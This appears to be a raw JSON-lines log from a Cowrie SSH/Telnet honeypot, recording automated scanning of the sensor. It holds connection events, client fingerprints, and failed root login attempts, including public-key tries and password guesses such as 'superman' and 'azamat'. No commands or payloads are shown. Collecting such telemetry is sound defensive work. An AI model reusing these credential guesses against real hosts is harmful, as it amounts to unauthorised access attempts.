{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:55.838428Z","src_ip":"124.109.2.211","session":"67ba145f4709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.95771503448486,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:57.093321Z","src_ip":"152.42.224.71","session":"e9c63c86ccae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.75684118270874,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:00.047541Z","src_ip":"152.42.224.71","session":"8ddf239f8b97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53600,"dst_ip":"10.17.0.5","dst_port":23,"session":"2152d276328e","protocol":"telnet","message":"New connection: 152.42.224.71:53600 (10.17.0.5:23) [session: 2152d276328e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:03.251560Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53612,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7aad4631c97","protocol":"telnet","message":"New connection: 152.42.224.71:53612 (10.17.0.5:23) [session: c7aad4631c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:03.866395Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.117","src_port":5620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d1adbfc7db","protocol":"ssh","message":"New connection: 102.129.200.117:5620 (10.17.0.5:22) [session: c7d1adbfc7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.271751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.276747Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.367295Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:35:3d:f5:b9:81:5f:60:76:f0:f7:1d:4b:60:71:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoOPatf7AZ5pNrEPe0TUouv68JeJ7P1JJfl+heRq2/iK8MRLqTYGsdnXgZ4Jew/HC/lQTIl0Yww5/sFIxi2IsGE7nR7X4KYZfasNSXeKe85BFtmfpHltw6bqAxQrhM67Z4tLJPnHVmT9/b6VJEkHeqg5hyXRAZlZkHAfyg8OHv2HiMHIyANErRbMzxsXVgPmdsxfEdbK97L0jYgLB1Ot+jasObQqPOSoo5oeVTHSiCOz7wf0008iI3Yd6IgC4KW5P/XbiZZRoYqoKeSJaOEDhdWVlyQSkUsxHJtEj7GJHjJZOHQSPFSZm4QJYyPVYeymPIPVzMNUYrT1bNI/AoxdYt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:35:3d:f5:b9:81:5f:60:76:f0:f7:1d:4b:60:71:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.788555Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:35:3d:f5:b9:81:5f:60:76:f0:f7:1d:4b:60:71:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoOPatf7AZ5pNrEPe0TUouv68JeJ7P1JJfl+heRq2/iK8MRLqTYGsdnXgZ4Jew/HC/lQTIl0Yww5/sFIxi2IsGE7nR7X4KYZfasNSXeKe85BFtmfpHltw6bqAxQrhM67Z4tLJPnHVmT9/b6VJEkHeqg5hyXRAZlZkHAfyg8OHv2HiMHIyANErRbMzxsXVgPmdsxfEdbK97L0jYgLB1Ot+jasObQqPOSoo5oeVTHSiCOz7wf0008iI3Yd6IgC4KW5P/XbiZZRoYqoKeSJaOEDhdWVlyQSkUsxHJtEj7GJHjJZOHQSPFSZm4QJYyPVYeymPIPVzMNUYrT1bNI/AoxdYt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.792526Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:1e:82:85:c3:70:c5:1f:6e:18:d5:b8:5f:65:d7:2f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOA817Xu4o+rvaIQVm15DVqK5EMzHujtiso6AsfUEH3VzJDnA6QBrlFa2JQTypoh255EmnLP9nNy2gLH/TFQva7VBBqeEg1PdzZ030dMJTeD6uCU6U13lV0D1HsOIVsQXPXMMwrSpmMia9ryETL7Vq2SJWotK2N2lP3L3vXwoZCfAAAAFQDsY/hqlWb+qe5jhI86XUf6jZoc2QAAAIAz1l3cDLN3FWG4VNcluyL5vQysjlYSsEkg4R+oJQhhi4Ub5QPkLwLsfDDJX6zaHZEE0sk9V1/kioQm1pK2hGNxbs8KYh3rdgijq7pEIr8YMEUx6XzWsQsHMtXzFCq0QVjzRS8L/jnE5KXQXibDCJwVSCQzrG5urfFa4TEmUT4XUwAAAIEAk4PqspiFSA4HiwiNJXrYsc0wbG2FxBMFEyhLpq6EY6s2/YIacfVi4iC7WquUkFODZpV1STY6aAGCtlqb6cPX/adZOF31RV4fNAfW4JMvJUVSw7D1wLxNH2ApYLe9Sk9wzdn7xBm1eBanKdZ4gB/k3hPGLEsKshhhI5dtk5LW564=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b5:1e:82:85:c3:70:c5:1f:6e:18:d5:b8:5f:65:d7:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.883648Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:1e:82:85:c3:70:c5:1f:6e:18:d5:b8:5f:65:d7:2f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOA817Xu4o+rvaIQVm15DVqK5EMzHujtiso6AsfUEH3VzJDnA6QBrlFa2JQTypoh255EmnLP9nNy2gLH/TFQva7VBBqeEg1PdzZ030dMJTeD6uCU6U13lV0D1HsOIVsQXPXMMwrSpmMia9ryETL7Vq2SJWotK2N2lP3L3vXwoZCfAAAAFQDsY/hqlWb+qe5jhI86XUf6jZoc2QAAAIAz1l3cDLN3FWG4VNcluyL5vQysjlYSsEkg4R+oJQhhi4Ub5QPkLwLsfDDJX6zaHZEE0sk9V1/kioQm1pK2hGNxbs8KYh3rdgijq7pEIr8YMEUx6XzWsQsHMtXzFCq0QVjzRS8L/jnE5KXQXibDCJwVSCQzrG5urfFa4TEmUT4XUwAAAIEAk4PqspiFSA4HiwiNJXrYsc0wbG2FxBMFEyhLpq6EY6s2/YIacfVi4iC7WquUkFODZpV1STY6aAGCtlqb6cPX/adZOF31RV4fNAfW4JMvJUVSw7D1wLxNH2ApYLe9Sk9wzdn7xBm1eBanKdZ4gB/k3hPGLEsKshhhI5dtk5LW564=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.887443Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:f6:2d:c0:2d:a4:47:6f:4a:88:51:80:43:00:de:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGHtiDUJygyXR1nmkjrWcOy0rfmlmRi+GYfZwkBFDRkjCD/mjo7JyDz1SpiR71R0SKJJ4A6Wnl3xpppfdfoieqBNJXoNDsZi8F8y7jwoXZkEhjHodjOrY4hZgt87nOWwW4nUwuEGJpHikj5t+vM4cW/wBzy4tijsIGt8RQcRzIRwj8Qz7Ll9CCMdGKZca//dgdTNVIyRqi/rci9TCFKpQ7U82opPMkyDw1ildF1cvqtabxQeUcnArCgJZ+ZgZns0LZocvMEjmov86MyWe4voKcanTGU0LMCHmx9Ek2DReNDb1c8tfU/OMlyTuhMAhxfy1QnaTH48MOkgFNgxjCixpX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:f6:2d:c0:2d:a4:47:6f:4a:88:51:80:43:00:de:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.975868Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:f6:2d:c0:2d:a4:47:6f:4a:88:51:80:43:00:de:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGHtiDUJygyXR1nmkjrWcOy0rfmlmRi+GYfZwkBFDRkjCD/mjo7JyDz1SpiR71R0SKJJ4A6Wnl3xpppfdfoieqBNJXoNDsZi8F8y7jwoXZkEhjHodjOrY4hZgt87nOWwW4nUwuEGJpHikj5t+vM4cW/wBzy4tijsIGt8RQcRzIRwj8Qz7Ll9CCMdGKZca//dgdTNVIyRqi/rci9TCFKpQ7U82opPMkyDw1ildF1cvqtabxQeUcnArCgJZ+ZgZns0LZocvMEjmov86MyWe4voKcanTGU0LMCHmx9Ek2DReNDb1c8tfU/OMlyTuhMAhxfy1QnaTH48MOkgFNgxjCixpX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:32.979075Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:8a:21:68:e0:29:9b:46:4a:37:b0:1f:85:c4:3f:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoyGMZGAixFQrP8NMnfr+2R5mk9tgo2Rl7I5xxMD11HOS5xNemkEC4zW5qKRcxvi5w3R4MfzZy6yX0JjyDf/RiuzatHQYaX3h0Zj1IzDwzM2H4j9SIs3LazteQpQ/HXmdnoogXwWaF7EVMV6NxmHpYG+DYJCRt8GE8x+VqVPNnPtZSIBfh69Sy7nUNINjJY8H7aGHN09v88aL7VFjnal0MuRlBpr8ev20HPYvRZcXZ70rey2DJJhZgx+zncn4S9m5MJuioXWV38NO14Kz9goIaSaK2u6ma6yiMaJQKm92D4XqaCvll5Y5zUY6tqIlx6y+YvejrGg/h6RRSerO+cQuYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:8a:21:68:e0:29:9b:46:4a:37:b0:1f:85:c4:3f:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:33.067094Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:8a:21:68:e0:29:9b:46:4a:37:b0:1f:85:c4:3f:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoyGMZGAixFQrP8NMnfr+2R5mk9tgo2Rl7I5xxMD11HOS5xNemkEC4zW5qKRcxvi5w3R4MfzZy6yX0JjyDf/RiuzatHQYaX3h0Zj1IzDwzM2H4j9SIs3LazteQpQ/HXmdnoogXwWaF7EVMV6NxmHpYG+DYJCRt8GE8x+VqVPNnPtZSIBfh69Sy7nUNINjJY8H7aGHN09v88aL7VFjnal0MuRlBpr8ev20HPYvRZcXZ70rey2DJJhZgx+zncn4S9m5MJuioXWV38NO14Kz9goIaSaK2u6ma6yiMaJQKm92D4XqaCvll5Y5zUY6tqIlx6y+YvejrGg/h6RRSerO+cQuYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:33.070042Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:8e:6d:96:02:0f:44:dc:f9:ea:af:3b:9d:78:8d:8d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALPGU6K/MwSHRs2kdYJzre2U7QTKp9pfEhT3bJvl7GbeeK7k+iRA2fcVOxgCIIHJkrCXYSnj4Z6dfs9ikRtZ/oPf7QIoaya7ZZAHhqe9Xi6rS93DsyIaHO+KVy/re0T1tCe5B+5jAWSS6Jl7zBd/Oqkp0czwMS71dc6ZLlSrVSZDAAAAFQC+0F9LBYyWr4jkdaRmXhb1UJm0HQAAAIBcSTDLrmURtbQnzmLE7laauhUiSYJQmBP/GSk+YUx0qcvElU88ONIR4cDiYNuOot+ETTeBI/N4cOEJZprEwnd2zgWXPnG7ugQhGJ0RCGZB6PzNvTdF8mSkeiK9Xj/Pr4Gp5F7ViK0Xl1oXbhTeX1QyHyEQWzMJySvp0cpUajolqQAAAIA8RdSnrPGkG8hMtq1uw7Ss+xweM3Mho9FeQ7J781Y4N1Tl+Pt9TrbAi72cFIzoafg1DwkuWZiP7uucgMF7tuWW4JlI21FxIuUjxnL99zBniGCJ8YXK9li/fWxF8WgNcWFicfkEs4201GfkN1mwQpeAqH21fSm9urOgYxTQVPe10g==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d3:8e:6d:96:02:0f:44:dc:f9:ea:af:3b:9d:78:8d:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:33.157289Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:8e:6d:96:02:0f:44:dc:f9:ea:af:3b:9d:78:8d:8d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALPGU6K/MwSHRs2kdYJzre2U7QTKp9pfEhT3bJvl7GbeeK7k+iRA2fcVOxgCIIHJkrCXYSnj4Z6dfs9ikRtZ/oPf7QIoaya7ZZAHhqe9Xi6rS93DsyIaHO+KVy/re0T1tCe5B+5jAWSS6Jl7zBd/Oqkp0czwMS71dc6ZLlSrVSZDAAAAFQC+0F9LBYyWr4jkdaRmXhb1UJm0HQAAAIBcSTDLrmURtbQnzmLE7laauhUiSYJQmBP/GSk+YUx0qcvElU88ONIR4cDiYNuOot+ETTeBI/N4cOEJZprEwnd2zgWXPnG7ugQhGJ0RCGZB6PzNvTdF8mSkeiK9Xj/Pr4Gp5F7ViK0Xl1oXbhTeX1QyHyEQWzMJySvp0cpUajolqQAAAIA8RdSnrPGkG8hMtq1uw7Ss+xweM3Mho9FeQ7J781Y4N1Tl+Pt9TrbAi72cFIzoafg1DwkuWZiP7uucgMF7tuWW4JlI21FxIuUjxnL99zBniGCJ8YXK9li/fWxF8WgNcWFicfkEs4201GfkN1mwQpeAqH21fSm9urOgYxTQVPe10g==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:33.161104Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:33.252389Z","src_ip":"102.129.200.117","session":"c7d1adbfc7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.69023370742798,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:38.281239Z","src_ip":"152.42.224.71","session":"88b5aa0259ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54034,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6d21b41456","protocol":"telnet","message":"New connection: 152.42.224.71:54034 (10.17.0.5:23) [session: 0d6d21b41456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:45.640360Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46924,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b0670b2df60","protocol":"telnet","message":"New connection: 152.42.224.71:46924 (10.17.0.5:23) [session: 5b0670b2df60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:55.868348Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46940,"dst_ip":"10.17.0.5","dst_port":23,"session":"80714824e0d1","protocol":"telnet","message":"New connection: 152.42.224.71:46940 (10.17.0.5:23) [session: 80714824e0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:56.870767Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46954,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a67e093b2d1","protocol":"telnet","message":"New connection: 152.42.224.71:46954 (10.17.0.5:23) [session: 5a67e093b2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:27:57.018299Z"}
{"eventid":"cowrie.session.closed","duration":120.00442147254944,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:01.216943Z","src_ip":"152.42.224.71","session":"0a7a4ff0d348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40704,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae45ce64ce3","protocol":"ssh","message":"New connection: 103.98.149.87:40704 (159.203.135.109:22) [session: 1ae45ce64ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:01.556225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:01.560812Z","src_ip":"103.98.149.87","session":"1ae45ce64ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:01.783252Z","src_ip":"103.98.149.87","session":"1ae45ce64ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superman","message":"login attempt [root/superman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:02.453301Z","src_ip":"103.98.149.87","session":"1ae45ce64ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:03.677670Z","src_ip":"103.98.149.87","session":"1ae45ce64ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":37950,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4553a09dca","protocol":"ssh","message":"New connection: 109.172.54.111:37950 (10.17.0.5:22) [session: 7f4553a09dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:11.642567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:11.646888Z","src_ip":"109.172.54.111","session":"7f4553a09dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:11.748565Z","src_ip":"109.172.54.111","session":"7f4553a09dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azamat","message":"login attempt [root/azamat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:12.049997Z","src_ip":"109.172.54.111","session":"7f4553a09dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":40076,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae47a8d846f3","protocol":"ssh","message":"New connection: 124.109.2.211:40076 (10.17.0.5:22) [session: ae47a8d846f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:12.573420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:12.577842Z","src_ip":"124.109.2.211","session":"ae47a8d846f3","protocol":"ssh"}
